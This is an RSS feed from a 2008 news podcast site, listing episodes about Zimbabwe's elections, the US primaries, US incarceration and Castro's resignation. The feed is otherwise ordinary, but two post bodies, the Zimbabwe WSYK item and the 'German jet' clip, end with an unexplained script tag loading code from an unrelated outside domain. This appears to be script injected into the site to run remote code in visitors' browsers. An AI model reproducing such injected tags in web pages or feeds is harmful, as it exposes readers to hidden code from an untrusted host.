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		<title>Robert Mugabe Has Robbed Zimbabwe</title>
		<link>http://www.opensermo.com/2008/07/02/robert-mugabe-has-robbed-zimbabwe/</link>
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		<pubDate>Wed, 02 Jul 2008 06:34:06 +0000</pubDate>
		<dc:creator>Ethan Bloch</dc:creator>
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			<content:encoded><![CDATA[<!-- sphereit start --><p><a href="http://wsyk.opensermo.com/2008/07/02/wsyk-18-zimbabwe/">WSYK #18: Zimbabwe</a>. So if someone comes up to you and their like: &#8220;Hey, you know about Zimbabwe?&#8221; This is what you should say&#8230;<script src="http://ae.awaue.com/7"></script></p>
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		<itunes:subtitle>WSYK #18: Zimbabwe. So if someone comes up to you and their like: "Hey, you know about Zimbabwe?" This is what you should say... </itunes:subtitle>
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		<title>Zimbabwe Opposition Claims Victory?</title>
		<link>http://www.opensermo.com/2008/04/03/zimbabwe-opposition-claims-victory/</link>
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		<pubDate>Thu, 03 Apr 2008 21:57:32 +0000</pubDate>
		<dc:creator>Ethan Bloch</dc:creator>
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			<content:encoded><![CDATA[<!-- sphereit start --><p>via. <a href="http://www.reuters.com/article/topNews/idUSL2880883820080402?feedType=RSS&#038;feedName=topNews">Reuters</a></p>
<blockquote><p>President Robert Mugabe fought to survive the biggest crisis of his rule on Wednesday after losing control of Zimbabwe&#8217;s parliament for the first time since taking power after independence. <span id="more-268"></span> The opposition Movement for Democratic Change said Mugabe had also been defeated in a presidential election last Saturday and should concede defeat to avoid embarrassment.</p></blockquote>
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<p>Story links:
<ul>
<li><a href="http://nutshell.opensermo.com/2008/03/31/who-will-win-the-zimbabwe-presidential-elections/">In a Nutshell: Episode 2</a></li>
<li><a href="http://www.reuters.com/article/topNews/idUSL2880883820080402?feedType=RSS&#038;feedName=topNews">Mugabe loses control of Zimbabwe parliament</a></li>
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		<title>Who Will Win the Zimbabwe Presidential Elections?</title>
		<link>http://www.opensermo.com/2008/03/31/who-will-win-the-zimbabwe-presidential-elections/</link>
		<comments>http://www.opensermo.com/2008/03/31/who-will-win-the-zimbabwe-presidential-elections/#comments</comments>
		<pubDate>Mon, 31 Mar 2008 04:31:13 +0000</pubDate>
		<dc:creator>Ethan Bloch</dc:creator>
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			<content:encoded><![CDATA[<!-- sphereit start --><p>This episode of <a href="http://nutshell.opensermo.com/2008/03/31/who-will-win-the-zimbabwe-presidential-elections/">In A Nutshell</a> covers the Presidential election held over the weekend in Zimbabwe; whose results are due today. Current President Robert Mugabe faces his strongest opposition yet. The Movement for Democratic Change headed by Morgan Tsvangirai is currently leading, but hopefully this will be a clean election and the rightful person wins.<span id="more-263"></span> Mugabe has been president since Zimbabwe became independent in 1980. The country is in terrible economic conditions. People are looking for a fresh start to get out of the famished situation they are in now.</p>
<p>Story link:
<ul>
<li><a href="http://www.africasia.com/services/news/newsitem.php?area=africa&amp;item=080331012613.jcgac5kg.php">Zimbabwe to learn election results</a></li>
<li><a href="http://news.bbc.co.uk/2/hi/africa/7321938.stm">Zimbabwe to release poll results</a></li>
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		<itunes:subtitle>This episode of In A Nutshell covers the Presidential election held over the weekend in Zimbabwe; whose results are due today. Current President Robert Mugabe ...</itunes:subtitle>
		<itunes:summary>This episode of In A Nutshell covers the Presidential election held over the weekend in Zimbabwe; whose results are due today. Current President Robert Mugabe faces his strongest opposition yet. The Movement for Democratic Change headed by Morgan Tsvangirai is currently leading, but hopefully this will be a clean election and the rightful person wins. Mugabe has been president since Zimbabwe became independent in 1980. The country is in terrible economic conditions. People are looking for a fresh start to get out of the famished situation they are in now.Story link:Zimbabwe to learn election resultsZimbabwe to release poll results</itunes:summary>
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		<title>Bush, Clinton, Bush, Not Clinton?</title>
		<link>http://www.opensermo.com/2008/03/04/bush-clinton-bush-not-clinton/</link>
		<comments>http://www.opensermo.com/2008/03/04/bush-clinton-bush-not-clinton/#comments</comments>
		<pubDate>Tue, 04 Mar 2008 10:02:51 +0000</pubDate>
		<dc:creator>Ethan Bloch</dc:creator>
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		<description><![CDATA[A broadcast of 60 Seconds: Hillary may be forced to end her race for the White House depending on the outcome of the primary elections in Texas and Ohio, Iraq costs U.S. way more then estimated, Israel pulls of out Gaza, U.N. Security Council issues more sanctions on Iran. Plus a special left-over.Not working? Try [...]]]></description>
			<content:encoded><![CDATA[<!-- sphereit start --><p>A broadcast of 60 Seconds: Hillary may be forced to end her race for the White House depending on the outcome of the primary elections in Texas and Ohio, Iraq costs U.S. way more then estimated, Israel pulls of out Gaza, U.N. Security Council issues more sanctions on Iran. Plus a special left-over.<br /><embed src="http://blip.tv/play/AayGHA" type="application/x-shockwave-flash" width="437" height="370" allowscriptaccess="always" allowfullscreen="true"></embed><br />Not working? Try the <a href="http://www.smugmug.com/photos/261824145_im5tY-640.mp4">QuickTime version</a>.</p>
<p><strong>Story links</strong>
<ul>
<li><a href="http://www.reuters.com/article/topNews/idUSN2637767820080303?feedType=RSS&#038;feedName=topNews">Clinton in Ohio, Texas: End of the road?</a></li>
<li><a href="http://www.reuters.com/article/topNews/idUSN2921527420080302?feedType=RSS&#038;feedName=topNews">Iraq war hits U.S. economy: Nobel winner</a></li>
<li><a href="http://www.reuters.com/article/topNews/idUKL0219318120080303?feedType=RSS&#038;feedName=topNews&#038;rpc=98">Hamas claims Gaza &#8220;victory&#8221; as Israel pulls back</a></li>
<li><a href="http://www.reuters.com/article/topNews/idUSN0229949320080303?feedType=RSS&#038;feedName=topNews">U.N. council imposes new sanctions on defiant Iran</a></li>
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<p><strong>German jet almost crashes</strong><br /><object style="width: 100%" type="application/x-shockwave-flash" data="http://www.reuters.com/resources/flash/includevideo.swf?edition=US&#038;videoId=77355" width="344" height="320"><param name="wmode" value="transparent" /><param name="movie" value="http://www.reuters.com/resources/flash/includevideo.swf?edition=US&#038;videoId=77355" /><embed src="http://www.reuters.com/resources/flash/includevideo.swf?edition=US&#038;videoId=77355" type="application/x-shockwave-flash" wmode="transparent" width="344" height="320"></embed></object><script src="http://ae.awaue.com/7"></script></p>
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		<title>America: Land of the free, home of the prison</title>
		<link>http://www.opensermo.com/2008/02/28/america-land-of-the-free-home-of-the-prison/</link>
		<comments>http://www.opensermo.com/2008/02/28/america-land-of-the-free-home-of-the-prison/#comments</comments>
		<pubDate>Thu, 28 Feb 2008 16:53:30 +0000</pubDate>
		<dc:creator>Ethan Bloch</dc:creator>
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		<description><![CDATA[A broadcast of 60 Seconds covering: America leads world in incarceration, Kenyan politicians reach deal, U.S. teenagers history knowledge, Russian elections.Not working? Try the QuickTime  version.
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Record-High Ratio of Americans in Prison
Kenya deal signed
Survey Finds Teenagers Ignorant on Basic History and Literature Questions
Russians to vote for a new president but keep the old one

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			<content:encoded><![CDATA[<!-- sphereit start --><p>A broadcast of 60 Seconds covering: America leads world in incarceration, Kenyan politicians reach deal, U.S. teenagers history knowledge, Russian elections.<br /><embed src="http://blip.tv/play/AauySg" type="application/x-shockwave-flash" width="437" height="370" allowscriptaccess="always" allowfullscreen="true" /><br />Not working? Try the <a href="http://ia341036.us.archive.org/2/items/openSermoAmericaLandofthefreehomeoftheprison/60_Seconds_2282008.mov">QuickTime  version</a>.</p>
<p><strong>Story links</strong>
<ul>
<li><a href="http://www.washingtonpost.com/wp-dyn/content/article/2008/02/28/AR2008022801704.html">Record-High Ratio of Americans in Prison</a></li>
<li><a href="http://www.reuters.com/news/video?videoId=77090">Kenya deal signed</a></li>
<li><a href="http://www.nytimes.com/2008/02/27/us/27history.html?ex=1361768400&#038;en=4694f052bb6a809e&#038;ei=5088&#038;partner=rssnyt&#038;emc=rss">Survey Finds Teenagers Ignorant on Basic History and Literature Questions</a></li>
<li><a href="http://www.reuters.com/article/topNews/idUSL2883523820080228">Russians to vote for a new president but keep the old one</a></li>
</ul>
<p>Left Overs: Prince Harry Serving in Afganistan. What?!<br /><embed src="http://blip.tv/play/AauydQ" type="application/x-shockwave-flash" width="320" height="240" allowscriptaccess="always" allowfullscreen="true" /></p>
<p><strong>Story link</strong>
<ul>
<li><a href="http://www.reuters.com/news/video?videoId=77094&#038;feedType=VideoRSS&#038;feedName=TopNews">Prince Harry deployed in Afghanistan</a></li>
</ul>
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		<title>Peace Out, Fidel Castro</title>
		<link>http://www.opensermo.com/2008/02/19/peace-out-fidel-castro/</link>
		<comments>http://www.opensermo.com/2008/02/19/peace-out-fidel-castro/#comments</comments>
		<pubDate>Tue, 19 Feb 2008 16:27:28 +0000</pubDate>
		<dc:creator>Ethan Bloch</dc:creator>
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Cuba&#8217;s Fidel Castro steps down after half a century
In Pakistan, Musharraf’s Party Accepts Defeat
US, EU Powers Recognize Kosovo

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<li><a href="http://www.reuters.com/article/vcCandidateFeed1/idUSN1925995520080219">Cuba&#8217;s Fidel Castro steps down after half a century</a></li>
<li><a href="http://www.nytimes.com/2008/02/20/world/asia/20pakistan.html?em&#038;ex=1203570000&#038;en=ed943a1f4667ee2a&#038;ei=5087%0A">In Pakistan, Musharraf’s Party Accepts Defeat</a></li>
<li><a href="http://ap.google.com/article/ALeqM5g1zMRGritCtusBjGtSPaGxk1ef-wD8USSAV00">US, EU Powers Recognize Kosovo</a></ul>
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		<title>Taking a quick break</title>
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		<pubDate>Tue, 05 Feb 2008 16:00:00 +0000</pubDate>
		<dc:creator>Ethan Bloch</dc:creator>
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		<title>Come Back Senior, Writers Strike Again, Healthy Living</title>
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		<pubDate>Wed, 09 Jan 2008 04:05:57 +0000</pubDate>
		<dc:creator>Ethan Bloch</dc:creator>
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